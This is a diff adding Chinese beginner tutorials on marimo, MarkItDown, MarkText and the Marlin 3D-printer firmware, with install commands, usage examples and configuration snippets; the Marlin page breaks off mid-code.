+# 含 duckdb, altair, polars, sqlglot, ruff, openai 等
+```
+
+**常用 CLI：**
+
+```bash
+marimo edit              # 笔记本服务器
+marimo tutorial --help   # intro / ui / sql / dataflow / layout ...
+marimo convert           # ipynb / py:percent → marimo
+marimo export            # → html, ipynb, md
+```
+
+VS Code / Cursor 可装 **marimo 扩展**，在 IDE 内获得 reactive 执行与 `.py` 笔记本编辑体验。
+
+## 常见坑与最佳实践
+
+1. **全局变量唯一**：两个 cell 不能都 `def config` 或都 `x = 1`——合并到一个 cell 或改名。
+2. **避免跨 cell 原地突变**：`df["new_col"] = ...` 放在定义 `df` 的 cell，或产出 `df2 = df.assign(...)` 让依赖图可见。
+3. **UI 元素必须全局**：`slider = mo.ui.slider(...)` 写 top-level；动态数量用 `mo.ui.array` / `mo.ui.dictionary`。
+4. **迁移 Jupyter 时**：并非所有 notebook 都适合 `auto_instantiate`；大数据集可在 runtime 配置里改为 lazy / stale 模式，见官方 expensive notebooks 指南。
+5. **与 Jupyter 共存**：marimo 不是 `.ipynb` 编辑器；需要经典 ipynb 生态（某些课堂插件）仍用 [[jupyterlab]]，探索型 reactive 工作流再切 marimo。
+6. **生产部署**：`marimo run` 适合内部小工具；高并发服务仍应抽成 FastAPI 等，笔记本负责原型。
+
+## 与相近工具怎么选
+
+| 场景 | 更合适的选择 |
+|------|----------------|
+| 课堂、论文复现、存量 `.ipynb` | **Jupyter Notebook / Lab** |
+| 快速 dashboard、回调式 UI | [[streamlit]]、[[gradio]] |
+| Git-friendly、无隐藏状态、探索+App 一体 | **marimo** |
+| 纯脚本、无 UI | 普通 `.py` + IDE |
+| 出版级静态站点 | Quarto、[[observable-framework]] |
+
+marimo 的定位：**把 Notebook 从「容易状态错乱的手稿」推进到「有依赖图、可版本管理、可部署的 Python 程序」**。掌握 cell、DAG、全局变量规则三件事，你就拿到了 2020 年代数据探索工具里最重要的一条分支。
+
+## 延伸阅读
+
+- 官方文档：[Key concepts](https://docs.marimo.io/getting_started/key_concepts/)
+- 反应式模型：[Reactivity guide](https://docs.marimo.io/guides/reactivity/)
+- 交互控件：[Interactivity guide](https://docs.marimo.io/guides/interactivity/)
+- GitHub：[marimo-team/marimo](https://github.com/marimo-team/marimo)
+- 本库相关：[[jupyter-notebook]]、[[jupyterlab]]、[[duckdb]]、[[pandas]]、[[streamlit]]
diff --git a/src/content/docs/projects/markitdown.md b/src/content/docs/projects/markitdown.md
new file mode 100644
index 000000000..f82f472bc
--- /dev/null
+++ b/src/content/docs/projects/markitdown.md
@@ -0,0 +1,155 @@
+---
+title: MarkItDown — 万能文件转 Markdown 工具
+来源: 'https://github.com/microsoft/markitdown'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-ml-tools
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+MarkItDown 是微软开源的 Python 工具，GitHub 上超过 15 万 star。日常类比：你手里有一堆不同格式的文件——PDF、Word、PPT、Excel、图片、音频、YouTube 链接，它们就像不同语言的演讲者，每个人用不同的方式表达内容。MarkItDown 就是一个同声传译员，不管原文件是什么格式，它都能把它们翻译成同一种"语言"——Markdown。
+
+为什么需要翻译？因为现在的 AI 大模型（比如 GPT-4）最擅长理解的就是 Markdown。把各种文件统一转成 Markdown 后，就能批量喂给 LLM 做分析、摘要、检索，这就是 RAG（检索增强生成）管道的关键一步。
+
+```
+PDF / Word / PPT / Excel / 图片 / 音频 / HTML / YouTube / ZIP / EPUB
+                                            |
+                                    MarkItDown "翻译员"
+                                            |
+                                    统一的 Markdown 输出
+                                            |
+                                    喂给 LLM 做各种任务
+```
+
+## 核心概念
+
+**一个核心类**：`MarkItDown`，所有操作的入口。
+
+它的工作原理可以理解为"分发大厅"：你给它一个文件路径，它先判断文件格式，然后交给对应的"翻译专家"处理——PDF 文件走 PDF 通道，Word 走 docx 通道，图片走 OCR 通道，每个通道输出标准的 Markdown 片段，最后拼在一起返回。
+
+**支持的文件格式**：PDF、PowerPoint、Word、Excel、图片（含 OCR）、音频（含语音转文字）、HTML、CSV/JSON/XML、ZIP、YouTube 视频字幕、EPub 电子书等。
+
+**可选依赖**：MarkItDown 本身很小，每种文件格式的"翻译能力"通过可选依赖安装。比如 `pip install markitdown[pdf,docx,pptx]` 只装这三种，`pip install 'markitdown[all]'` 装全部。
+
+**三种安全级别**（越窄越好）：
+
+- `convert()` — 最宽松，接受本地文件、远程 URL、字节流
+- `convert_local()` — 只接受本地文件
+- `convert_stream()` — 只接受已经打开的文件流，最安全
+
+## 为什么重要
+
+做 RAG 或者 AI 应用时，你经常需要把各种文件内容提取出来喂给模型。没有 MarkItDown 的话，你要自己装 PyPDF2 读 PDF、装 python-docx 读 Word、装 openpyxl 读 Excel、装 pytesseract 做图片 OCR……每种工具语法还不一样。MarkItDown 把它们统一成同一个 API，一行代码搞定所有格式。
+
+## 代码示例
+
+### 示例 1：命令行一行搞定
+
+终端里直接运行，把 PDF 转成 Markdown 文件：
+
+```bash
+pip install 'markitdown[all]'
+
+markitdown report.pdf > report.md
+```
+
+也可以指定输出文件：
+
+```bash
+markitdown report.pdf -o report.md
+```
+
+支持管道输入：
+
+```bash
+cat report.pdf | markitdown
+```
+
+### 示例 2：Python API 基本用法
+
+```python
+from markitdown import MarkItDown
+
+# 创建一个实例
+md = MarkItDown()
+
+# 转换任何支持的文件
+result = md.convert("report.pdf")
+
+# 获取 Markdown 文本
+print(result.text_content)
+```
+
+同样的代码，把 `"report.pdf"` 换成 `"presentation.pptx"` 或 `"data.xlsx"` 也能正常工作，不需要改任何代码。
+
+### 示例 3：给图片加 AI 描述
+
+如果你装了 OpenAI 的 SDK，MarkItDown 可以让 AI 自动描述图片内容：
+
+```python
+from markitdown import MarkItDown
+from openai import OpenAI
+
+client = OpenAI()
+
+md = MarkItDown(
+    llm_client=client,
+    llm_model="gpt-4o",
+    llm_prompt="用中文描述这张图片的内容"
+)
+
+result = md.convert("photo.jpg")
+print(result.text_content)
+```
+
+输出示例：
+
+```
+<!-- 图片描述: 这张图片展示了一只橘色的猫咪趴在窗台上，
+窗外是城市夜景，玻璃上有雨滴的痕迹。猫咪的眼睛看向镜头，
+表情显得很放松。 -->
+```
+
+### 示例 4：安全模式——只处理本地文件
+
+在生产环境中，用户可能上传恶意 URL，应该用更安全的窄接口：
+
+```python
+from markitdown import MarkItDown
+
+# 只允许本地文件，不接受 URL
+md = MarkItDown()
+result = md.convert_local("user_upload.docx")
+print(result.text_content)
+```
+
+### 示例 5：转换 YouTube 视频
+
+MarkItDown 能从 YouTube 视频自动提取字幕并转成 Markdown：
+
+```python
+from markitdown import MarkItDown
+
+md = MarkItDown()
+result = md.convert("https://www.youtube.com/watch?v=dQw4w9WgXcY")
+print(result.text_content)
+```
+
+## 进阶：插件和云集成
+
+MarkItDown 支持第三方插件系统，比如 `markitdown-ocr` 插件可以用 LLM 做图片文字的 OCR，不需要装额外的 ML 库。它也支持接入 Azure Content Understanding 和 Azure Document Intelligence 做更高质量的云转换，适合需要精确提取发票金额、合同条款等结构化数据的场景。
+
+## 安全提醒
+
+MarkItDown 的行为和 Python 的 `open()` 函数类似——它有权访问你程序能访问的所有资源。如果你在处理用户上传的文件（比如网页应用），务必：
+
+1. 用 `convert_local()` 而不是 `convert()`，防止恶意 URL
+2. 不要直接把不受信任的输入传给 MarkItDown
+3. 用 `--use-plugins` 按需开启插件，默认是关闭的
+
+## 小结
+
+MarkItDown 就是一个"文件到 Markdown 的统一翻译层"。它的核心价值不在于某个文件格式的转换质量有多高，而在于把所有格式的统一接口。一行 `md.convert()` 搞定所有文件类型，这对 AI 应用开发来说省去了大量胶水代码。
diff --git a/src/content/docs/projects/marktext.md b/src/content/docs/projects/marktext.md
new file mode 100644
index 000000000..68c164164
--- /dev/null
+++ b/src/content/docs/projects/marktext.md
@@ -0,0 +1,303 @@
+---
+title: MarkText — 实时预览 Markdown 编辑器
+来源: https://github.com/marktext/marktext
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：Word 的「所见即所得」，但底层是 Markdown
+
+如果你用过 Microsoft Word，一定熟悉这种体验：输入标题，字号立刻变大；加粗、斜体、列表，屏幕上马上变成排版后的样子，而不是一堆格式按钮的「源码」。
+
+**MarkText 就是把这种体验搬到 Markdown 上。** 你仍然写的是 `# 标题`、`**粗体**`、`- 列表项` 这类轻量标记语言，但编辑器会在你敲完的瞬间把标记「吃掉」，只留下排版后的成品——这叫 **WYSIWYG（What You See Is What You Get，所见即所得）** 或 **实时预览**。和 Typora 同属这一派：专注写作、界面干净、少分心。
+
+与「左边写 Markdown、右边看 HTML 预览」的分屏编辑器（如部分 VS Code 插件）不同，MarkText **只有一块画布**：光标所在行像 Word 一样直接显示效果，需要看原始语法时可切 **Source Code 模式**。文件保存的仍是 `.md` 纯文本，可进 Git、可被任何 Markdown 工具打开——**显示层像 Word，存储层像记事本**。
+
+MarkText 是 MIT 许可的开源桌面应用，支持 **Linux、macOS、Windows**；官方仓库 [marktext/marktext](https://github.com/marktext/marktext) 在 GitHub 上有约 5.7 万 star。2026 年原作者恢复维护并发布 **v0.19.0**（TypeScript 迁移、渲染器沙箱加固等），官网为 [marktext.me](https://marktext.me)。
+
+零基础学习路径：**安装 → 打开文件夹写第一篇 → 熟悉三种编辑模式 → 用 front matter / 数学公式 / 导出 PDF 完成一篇完整文档**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：分屏预览打断写作心流
+
+传统流程是：左边改 `# 标题`，眼睛要扫到右边确认渲染对不对，再跳回左边继续写。MarkText 把预览合并进编辑区，**视线不用在两栏之间来回跳**，适合写博客、读书笔记、技术文档等长文。
+
+### 痛点 2：想要纯文本，又不想学复杂 IDE
+
+Markdown 本质是 plain text，适合版本管理；但很多人被 VS Code + 插件的配置门槛劝退。MarkText **开箱即用**：安装后双击 `.md` 或拖文件夹进来就能写，没有 `settings.json` 也能完成 90% 日常写作。
+
+### 痛点 3：需要导出、公式、任务清单等「正经文档」能力
+
+它支持 **CommonMark**、**GitHub Flavored Markdown（GFM）** 以及部分 **Pandoc** 语法；扩展包括 **KaTeX 数学公式**、YAML **front matter**、emoji、脚注、高亮、任务列表等。可 **导出 HTML / PDF**，也可从剪贴板 **粘贴图片** 自动保存到本地并插入引用。
+
+### 痛点 4：Linux 上缺少好看的本地 Markdown 编辑器
+
+许多 Linux 用户长期把 MarkText 当作「平台上最好看的 Markdown 编辑器之一」。跨平台安装方式统一：macOS 有 `.dmg` / Homebrew，Windows 有 `.exe` / Winget / Chocolatey，Linux 按官方说明安装各发行版包。
+
+---
+
+## 核心概念拆解
+
+### 1. 实时预览（Realtime Preview / WYSIWYG）
+
+你在编辑器里输入 Markdown 标记；MarkText 在后台解析并 **立即渲染成排版后的 DOM**。输入 `#` 后接空格，该行会变成一级标题样式，井号不再占屏。这与 **marked**、**markdown-it** 等「字符串进、HTML 出」的库不同：MarkText 是 **带 UI 的完整应用**，负责光标、撤销、主题、导出整条链路。
+
+理解这一点有助于排查「编辑器里看起来和导出的 PDF 不一致」类问题——例如 [Markdown Guide](https://www.markdownguide.org/tools/mark-text/) 指出：只按一次 Enter 在编辑区可能换行，但导出 HTML/PDF 时不一定产生 `<br>`，需用行尾空格或反斜杠 `\` 强制换行。
+
+### 2. 三种编辑模式
+
+| 模式 | 作用 | 类比 |
+|------|------|------|
+| **默认 WYSIWYG** | 边写边看成品 | Word 普通视图 |
+| **Source Code 模式** | 显示原始 Markdown 源码 | Word 的「显示段落标记」+ 纯文本 |
+| **Typewriter 模式** | 当前行居中，上下行变淡 | 打字机聚焦当前句 |
+| **Focus 模式** | 只高亮当前段落/块 | 禅模式写作 |
+
+快捷键可在偏好设置里查看；写作长文时 Typewriter / Focus 能减少页面其余内容的视觉干扰。
+
+### 3. Markdown 方言与扩展
+
+MarkText 声明支持：
+
+- **CommonMark**：Markdown 的事实标准子集，保证基础语法行为可预期。
+- **GFM**：GitHub 扩展——表格、任务列表 `- [ ]`、删除线 `~~`、围栏代码块等。
+- **选择性 Pandoc**：部分 Pandoc 特有语法（如某些 div 类扩展）在兼容范围内可用。
+
+额外扩展：**数学**（`$...$` / `$$...$$` + KaTeX）、**front matter**（文档顶部的 YAML 元数据）、**emoji**（短码或粘贴）。
+
+### 4. 主题与导出
+
+内置 **Cadmium Light、Material Dark** 等多套主题，分别控制编辑区配色与代码高亮。导出时生成独立 **HTML** 或 **PDF**，适合发邮件、打印、静态托管。复制时可选 **Markdown / HTML / 纯文本** 三种剪贴板格式——写技术博客时经常「在 MarkText 里写好 → 复制 HTML 贴进 CMS」。
+
+### 5. 项目结构与维护状态
+
+应用基于 **Electron** 构建（渲染进程已加强沙箱：`contextIsolation`、`nodeIntegration: false`）。v0.19.0 起主代码库 **迁移到 TypeScript**，并用 **Pinia** 管理偏好等状态。若你只想「用」而不是「改」，知道它是 Electron 即可——安装包体积会比纯原生编辑器大，但换来跨平台 UI 一致。
+
+---
+
+## 安装与第一次打开
+
+### macOS
+
+```bash
+# Homebrew Cask（需 macOS 11+）
+brew install --cask mark-text
+```
+
+或从 [Releases](https://github.com/marktext/marktext/releases) 下载 `marktext-mac-arm64-*.dmg` / `x64` 对应架构。
+
+### Windows
+
+```powershell
+winget install marktext
+# 或
+choco install marktext
+```
+
+### Linux
+
+按仓库 [Linux 安装说明](https://github.com/marktext/marktext#linux) 选择 AppImage、deb 等格式。
+
+**第一次使用建议：**
+
+1. 启动 MarkText → **File → Open Folder** 打开你的笔记目录（侧边栏会列出文件夹树）。
+2. 新建 `hello.md`，输入下面「示例 1」的内容，观察标题、列表如何即时变成排版。
+3. **Preferences** 里选主题、默认图片保存路径、是否开启 Vim 键位（如有需要）。
+
+---
+
+## 代码示例 1：一篇带 front matter 的技术笔记
+
+MarkText 支持 YAML front matter，适合静态站点生成器（Hugo、Jekyll、Eleventy）或本仓库这类带元数据的文档。
+
+```markdown
+---
+title: 用 MarkText 写第一篇笔记
+tags: [markdown, 入门]
+date: 2026-06-13
+---
+
+# 用 MarkText 写第一篇笔记
+
+## 为什么选 Markdown
+
+- **纯文本**：Git diff 友好，不怕专有格式锁死。
+- **易学**：十分钟能覆盖 80% 日常语法。
+- **可迁移**：同一份 `.md` 可在 MarkText、VS Code、Obsidian 间切换。
+
+## 任务清单（GFM）
+
+- [x] 安装 MarkText
+- [ ] 写完示例并导出 PDF
+- [ ] 把图片粘贴进文档
+
+> 提示：在 MarkText 里输入 `>` 加空格，块引用会立刻变成左侧竖线样式。
+
+行内代码：`npm install` 这样的片段用反引号包起来。
+
+| 列 A | 列 B |
+|------|------|
+| 实时预览 | 少分心 |
+| 导出 PDF | 适合分享 |
+```
+
+保存后，侧边栏文件名旁不会出现 front matter 的 `#` 号——元数据块通常被编辑器折叠或按主题渲染为文档属性区（视版本与主题而定）。导出 HTML 时，front matter 是否出现在输出里取决于导出逻辑；写静态站时 front matter 常由后续构建工具读取，而非直接给读者看。
+
+---
+
+## 代码示例 2：数学公式、代码块与脚注
+
+技术写作常需要公式和高亮代码块。MarkText 用 **KaTeX** 渲染数学，围栏代码块带语法高亮。
+
+````markdown
+# 算法笔记：二分查找
+
+时间复杂度满足：
+
+$$
+T(n) = O(\log n)
+$$
+
+行内公式：设中点 $mid = \lfloor (left + right) / 2 \rfloor$。
+
+```python
+def binary_search(arr: list[int], target: int) -> int:
+    lo, hi = 0, len(arr) - 1
+    while lo <= hi:
+        mid = (lo + hi) // 2
+        if arr[mid] == target:
+            return mid
+        if arr[mid] < target:
+            lo = mid + 1
+        else:
+            hi = mid - 1
+    return -1
+```
+
+脚注示例：二分查找要求数组有序[^1]。
+
+[^1]: 无序数组需先排序，或改用线性扫描。
+
+---
+
+~~废弃写法~~：递归版二分在极深数组上可能栈溢出；工程上更常用上面的迭代写法。
+````
+
+**使用要点：**
+
+- 块级公式用 `$$` 独占行；行内用单个 `$`（复杂表达式注意与货币符号冲突）。
+- 代码块首行写语言名（如 `python`）以启用高亮。
+- 脚注 `[^1]` 在 GFM 扩展下支持；导出 PDF 前建议在 MarkText 里预览脚注链接是否正确。
+
+---
+
+## 代码示例 3：图片与链接（含粘贴工作流）
+
+```markdown
+# 截图说明
+
+![MarkText 界面示意](./assets/marktext-screenshot.png)
+
+参考官方仓库：[marktext/marktext](https://github.com/marktext/marktext)
+
+自动链接：<https://marktext.me>
+
+<!-- 部分版本支持 HTML 注释，导出行为因目标格式而异 -->
+```
+
+**粘贴图片：** 截图后 `Ctrl/Cmd + V`，MarkText 会把图片存到偏好设置指定的目录（如 `./assets`），并插入相对路径的 Markdown 图片语法。这比手动「保存文件 → 写路径」快很多，适合写教程、Bug 报告。
+
+**已知小差异：** Markdown Guide 提到，编辑区里尖括号 URL `<https://...>` 有时字面显示尖括号，但 **导出 HTML/PDF 后链接通常正确**；若以导出结果为准，以浏览器或 PDF 为准即可。
+
+---
+
+## 快捷键与效率习惯（常见默认，以实际版本为准）
+
+| 意图 | 典型快捷键 |
+|------|------------|
+| 加粗 | `Ctrl/Cmd + B` |
+| 斜体 | `Ctrl/Cmd + I` |
+| 插入链接 | `Ctrl/Cmd + K` |
+| 切换 Source Code | 命令面板或菜单 **View** |
+| 导出 | **File → Export** |
+
+段落快捷键：行首输入 `#`、`-`、`*`、`1.` 等，MarkText 会识别并切换块类型——和 Notion、Typora 类似，**用键盘完成结构，比鼠标点工具栏快**。
+
+---
+
+## MarkText 与相邻工具怎么选
+
+| 工具 | 定位 | 和 MarkText 的关系 |
+|------|------|-------------------|
+| **Typora** | 商业 WYSIWYG Markdown | 体验相近；Typora 收费，MarkText 开源免费 |
+| **Obsidian** | 知识库 + 双向链接 | 图关系、插件生态更强；MarkText 更偏「单文件线性写作」 |
+| **VS Code + 插件** | 程序员通用 IDE | 适合边写代码边改 README；MarkText 更轻、写作 UX 更专注 |
+| **marked / markdown-it** | JS 解析库 | 无 UI；MarkText 内部需要解析器，但用户不直接调用 API |
+
+若你的目标是 **本仓库 `src/content/docs` 这类 Markdown 文档**：MarkText 足够胜任；front matter 字段与正文分离清晰，配合 Git 提交即可。
+
+---
+
+## 支持语法速查（基于 Markdown Guide 整理）
+
+| 元素 | 支持 | 备注 |
+|------|------|------|
+| 标题、段落、引用、列表 | 是 | 基础 CommonMark |
+| 表格、任务列表、删除线 | 是 | GFM |
+| 围栏代码块 + 高亮 | 是 | 指定语言名 |
+| 脚注、上下标、高亮 | 是 | 扩展语法 |
+| 数学 KaTeX | 是 | `$` / `$$` |
+| HTML 嵌入 | 是 | 导出时注意消毒/兼容性 |
+| Heading ID `{#id}` | 否 | 需后处理或其它工具 |
+| Definition List | 否 | 可改用普通列表 |
+
+---
+
+## 常见问题
+
+### 换行和段落有什么区别？
+
+Markdown 里 **空一行** 才是新段落；段内换行要用行尾两空格、`\\` 或 `<br>`。MarkText 编辑区对单次 Enter 的反馈可能与最终 HTML 不一致——**以导出结果为准**，养成「要硬换行就加 `\`」的习惯。
+
+### 文件存在哪里？会不会锁死在专有格式？
+
+全是 `.md`  UTF-8 文本，用任何编辑器都能打开。卸载 MarkText **不会**加密你的文件。
+
+### 项目还维护吗？
+
+2026 年 5 月发布 **v0.19.0**，原作者在 [Issue #4191](https://github.com/marktext/marktext/issues/4191) 说明恢复维护：合并 PR、修 IME 输入法、更新文档与发布流程。长期仍建议关注 Release 页面；关键文档应有 Git 备份。
+
+### 和命令行工具如何配合？
+
+MarkText 不负责 `git commit`；习惯可以是：MarkText 写作 → 终端 `git diff` Review → 提交。也可配置外部打开：在 MarkText 里用系统默认程序打开图片文件（v0.19 相关改进）。
+
+---
+
+## 动手练习（约 30 分钟）
+
+1. **十分钟入门**：新建 `journal.md`，写三段：标题、无序列表、一段引用；切换 Source Code 模式对比源码与渲染。
+2. **十分钟进阶**：在同一文件加入表格、任务清单、一段 `python` 代码块；导出 PDF 检查代码高亮是否保留。
+3. **十分钟扩展**：新建 `note-math.md`，写两个 KaTeX 公式（行内 + 块级）；粘贴一张截图，确认 `assets` 目录生成图片且相对路径正确。
+
+完成三项后，你应能解释：**WYSIWYG 预览、GFM 扩展、front matter、导出链路** 四个核心概念，并独立产出一篇可提交 Git 的 Markdown 文档。
+
+---
+
+## 延伸资源
+
+- 官方仓库：[github.com/marktext/marktext](https://github.com/marktext/marktext)
+- 官网与下载：[marktext.me](https://marktext.me)
+- 语法对照：[Markdown Guide — MarkText](https://www.markdownguide.org/tools/mark-text/)
+- 维护说明：[Maintenance Recovery & Future Plans #4191](https://github.com/marktext/marktext/issues/4191)
+- 最新变更：[Release v0.19.0](https://github.com/marktext/marktext/releases/tag/v0.19.0)
+
+---
+
+## 小结
+
+MarkText 把 **Word 式即时排版** 和 **Markdown 纯文本** 结合在一起：写作时少分心，保存时仍是最通用的 `.md` 格式。掌握实时预览、三种焦点模式、GFM 扩展与导出，就足够应对博客、读书笔记、项目文档等日常场景。作为零基础者的第一台 Markdown 编辑器，它的学习曲线主要是 **Markdown 语法本身**——而 MarkText 的职责，是让这套语法在屏幕上尽量「隐形」。
diff --git a/src/content/docs/projects/marlin.md b/src/content/docs/projects/marlin.md
new file mode 100644
index 000000000..b55216a71
--- /dev/null
+++ b/src/content/docs/projects/marlin.md
@@ -0,0 +1,246 @@
+---
+title: Marlin Firmware — 3D 打印机的「一体式管家固件」
+来源: 'https://github.com/MarlinFirmware/Marlin'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**Marlin** 是 [MarlinFirmware/Marlin](https://github.com/MarlinFirmware/Marlin) 维护的开源 **3D 打印机固件**：跑在主控 MCU（如 STM32、AVR）上，负责解析 G-code、规划运动、驱动步进电机、控温、读限位与探针，把切片软件输出的「打印剧本」变成真实的塑料层。
+
+日常类比：**住在打印机主板里的全能管家**。
+
+想象你点了一份复杂套餐（G-code 文件）。传统做法不是请外卖员（上位机）每走一步都喊一声，而是把 **菜单解读、路线规划、火候控制、开关火、摇锅** 全部交给 **一位住在厨房里的管家（Marlin）**——他脑子（Flash/RAM）不大，但必须在毫秒级反应：该加热到 210°C 时不能犹豫，该在拐角减速时不能算错，该在热敏电阻脱落时立刻关火。Marlin 自 2011 年起为 RepRap / Ultimaker 生态服务，至今仍是全球装机量最大的 3D 打印机固件之一；许多 Creality、Prusa 兼容机出厂或社区改装都基于 Marlin。
+
+与 [[klipper]] 的架构对比：Klipper 把「算路径」放到树莓派，MCU 只执行节拍表；Marlin 则是 **All-in-One**——G-code 解析、运动规划、步进脉冲、PID 温控全在同一颗芯片上完成。优点是 **单板、离线、不依赖 Linux 主机**；代价是复杂功能（高速输入整形、多板协同）受 MCU 算力与 Flash 约束，改配置通常要 **重新编译并刷写固件**。
+
+## 解决什么问题
+
+消费级 3D 打印需要一套 **实时、可配置、可审计** 的底层控制栈：
+
+| 痛点 | 没有专用固件时 | Marlin 的回应 |
+| --- | --- | --- |
+| 硬件千差万别 | 每块板引脚、驱动、传感器不同 | `Configuration.h` 用 `#define` 描述你的机器 |
+| 切片器只懂 G-code | 主机无法直接 GPIO 步进 | 内建 G-code 解释器 + 运动规划器 |
+| 加热失控风险 | 裸 PID 可能无限加热 | 热失控保护（Thermal Runaway）、加热失败监测 |
+| 床面不平 | 首层 adhesion 差 | ABL（自动调平）、网格补偿、探针协议 |
+| 断电丢进度 | 长打印中断即废 | 可选 Power Loss Recovery |
+| 功能开关爆炸 | 全编译固件太大 | PlatformIO 条件编译，未启用模块不进镜像 |
+
+Marlin 要回答的核心问题是：**如何在资源有限的 MCU 上，安全、精确、可配置地执行 3D 打印所需的全部实时任务？**
+
+## 核心概念
+
+### 1. 配置即编译：`Configuration.h` 与 `Configuration_adv.h`
+
+Marlin 不用运行时 JSON 描述打印机——它在 **编译期** 用 C 预处理器决定「这台机器有什么」。官方文档 [Configuring Marlin](https://marlinfw.org/docs/configuration/configuration.html) 规定：
+
+| 文件 | 职责 |
+| --- | --- |
+| `Configuration.h` | 主板型号、步进驱动、传感器、语言、常用功能开关 |
+| `Configuration_adv.h` | 高级选项：热保护参数、Filament Runout、调试、实验特性 |
+| `Config.h`（2.1.3+ 可选） | **最小覆盖**：只写你改过的项，替代上述两文件 |
+
+启用某功能通常是 **取消注释** `#define`；禁用则注释掉或 `#undef`。编译时 Marlin 会检查 `CONFIGURATION_H_VERSION`，版本不匹配会报错并提示迁移项——这是防止「旧配置 + 新源码」 silent break 的安全阀。
+
+配套仓库 [MarlinFirmware/Configurations](https://github.com/MarlinFirmware/Configurations) 按 **release 分支** 提供各机型样板；下载 ZIP 时务必选对与固件版本一致的分支。
+
+### 2. 数据流水线：G-code → 分段 → 规划器 → 步进 ISR
+
+Marlin 官方 [Code Structure](https://marlinfw.org/docs/development/code_structure.html) 把运动控制拆成四级：
+
+```
+(1) G-code 解析 (GcodeSuite)
+        ↓
+(2) 高层运动：G0/G1/G2/G3 等 → 线性小段 (motion.cpp)
+        ↓
+(3) Planner 队列：加减速、junction deviation (planner.cpp)
+        ↓
+(4) Stepper ISR：Bresenham 协调多轴 STEP 脉冲 (stepper.cpp)
+```
+
+- **G-code 层**：`Marlin/src/gcode/` 下按类别分目录（`motion/`、`temp/`、`bedlevel/`…），统一由 `GcodeSuite` 调度。
+- **分段**：规划器层面 Marlin 主要做 **直线段**；圆弧 G2/G3、Delta/SCARA 运动学、调平补偿会在进入 Planner 前被切成更短的直线。
+- **Planner**：维护块队列（block buffer），在拐角用 junction deviation 等算法限制向心加速度，避免急停急启。
+- **Stepper ISR**：高优先级中断，频率可达 **数万次/秒**，用 Bresenham 算法对齐 X/Y/Z/E 的步进时刻——这是「听起来像打印机在唱歌」的物理来源。
+
+理解这条链有助于调试：**层纹、共振、丢步** 往往在 Planner/ISR 参数；**首层、探针** 在 G-code 与 bedlevel 模块；**温度波动** 在 `temperature.cpp` 与 PID。
+
+### 3. G-code：主机与固件的通用语言
+
+切片器（Cura、PrusaSlicer、Orca）输出 `.gcode` 文本文件，常见指令：
+
+| 命令 | 含义 |
+| --- | --- |
+| `G28` | 回原点（Homing） |
+| `G0` / `G1` | 快速移动 / 直线插补（含挤出 E） |
+| `M104 S210` | 设热端目标温度，**不等待** |
+| `M109 S210` | 设热端目标温度，**等到位**（仅加热方向等待） |
+| `M140` / `M190` | 热床目标 / 等待热床 |
+| `M105` | 上报当前温度 |
+| `M500` / `M501` / `M502` | 保存 / 加载 / 恢复 EEPROM 默认 |
+
+Marlin 文档对每条命令有独立页面，例如 [M104](https://marlinfw.org/docs/gcode/M104.html)。`M104` 在后台继续加热的同时允许移动；首层前常用 `M109` 确保喷嘴已到温。
+
+### 4. 热安全：Thermal Runaway 与 Heating Failed
+
+`Configuration_adv.h` 中的 **THERMAL_PROTECTION** 系列选项实现两层防护：
+
+1. **Heating failed（加热失败）**：发 `M104`/`M109` 后，若在 `WATCH_TEMP_PERIOD` 内温升不足 `WATCH_TEMP_INCREASE`，判定传感器异常或加热器失效，**停机**。
+2. **Thermal runaway（热失控）**：已到目标温后，若读数长期低于目标超过 `THERMAL_PROTECTION_HYSTERESIS` 并持续 `THERMAL_PROTECTION_PERIOD`，判定失控（例如热敏电阻脱落读数偏低、固件仍加热），**关加热并 halt**。
+
+现代 Marlin 在热错误时还会 **Park 喷头**（移离打印件），降低引燃塑料风险。误报时可微调 hysteresis/period，但 **不要为求快而关闭保护**——这是 Anet A8 等早期社区血的教训。
+
+### 5. 构建系统：PlatformIO 与条件编译
+
+根目录 `platformio.ini` 定义 **default_envs**（如 `STM32F103RC_btt`）。`buildroot/share/PlatformIO/scripts/` 下的脚本会：
+
+- 读取你的 `#define`，从编译中 **剔除未用源文件**（缩小固件、加快构建）；
+- 做配置版本预检（preflight-checks）。
+
+推荐工具链：**VS Code + PlatformIO**，或 **Auto Build Marlin** 扩展一键编译上传。Arduino IDE 仍可用，但社区主流已是 PlatformIO。
+
+### 6. 调平与网格：ABL / UBL / MBL
+
+- **Manual Mesh (MBL)**：手动探点，适合无探针机器。
+- **Auto Bed Leveling (ABL)**：BLTouch、inductive probe 等自动探床。
+- **Unified Bed Leveling (UBL)**：更灵活的网格存储与编辑。
+
+启用后在 `Configuration.h` 选择探针类型与引脚；G-code 侧常用 `G29` 触发探测序列。调平补偿在 Planner 层把 Z 微调叠加到移动上，让喷嘴跟随床面起伏。
+
+### 7. EEPROM 与运行时覆盖
+
+许多参数（steps/mm、PID、探针偏移）可在运行时用 G-code 修改，并通过 **M500** 写入 EEPROM，重启 **M501** 加载。这减轻「改一行配置就全量重编译」的频率，但 **新增功能开关** 仍须改 `Configuration.h` 并重刷固件。
+
+## 代码示例
+
+### 示例 1：`Configuration.h` 中的硬件骨架
+
+下列片段展示零基础最常改的几项（具体值须对照你的主板与机械结构；勿直接抄进未知机器）：
+
+```cpp
+// 配置版本：必须与当前 Marlin 源码要求一致，否则编译报错并提示迁移
+#define CONFIGURATION_H_VERSION 02010300
+
+// 主板：决定引脚映射与 HAL（见 Marlin/src/pins/）
+#define MOTHERBOARD BOARD_BTT_SKR_MINI_E3_V3_0
+
+// 机器显示名（M115、LCD 上可见）
+#define CUSTOM_MACHINE_NAME "My Ender-style Printer"
+
+// 挤出机数量
+#define EXTRUDERS 1
+
+// 步进驱动类型（影响 TMC UART/SPI 配置）
+#define X_DRIVER_TYPE  TMC2209
+#define Y_DRIVER_TYPE  TMC2209
+#define Z_DRIVER_TYPE  TMC2209
+#define E0_DRIVER_TYPE TMC2209
+
+// 每毫米步数（与丝杆导程、微步、齿轮比相关）
+#define DEFAULT_AXIS_STEPS_PER_UNIT   { 80, 80, 400, 93 }
+
+// 热端传感器类型与引脚（须与硬件一致）
+#define TEMP_SENSOR_0 1  // 例如 EPCOS 100K
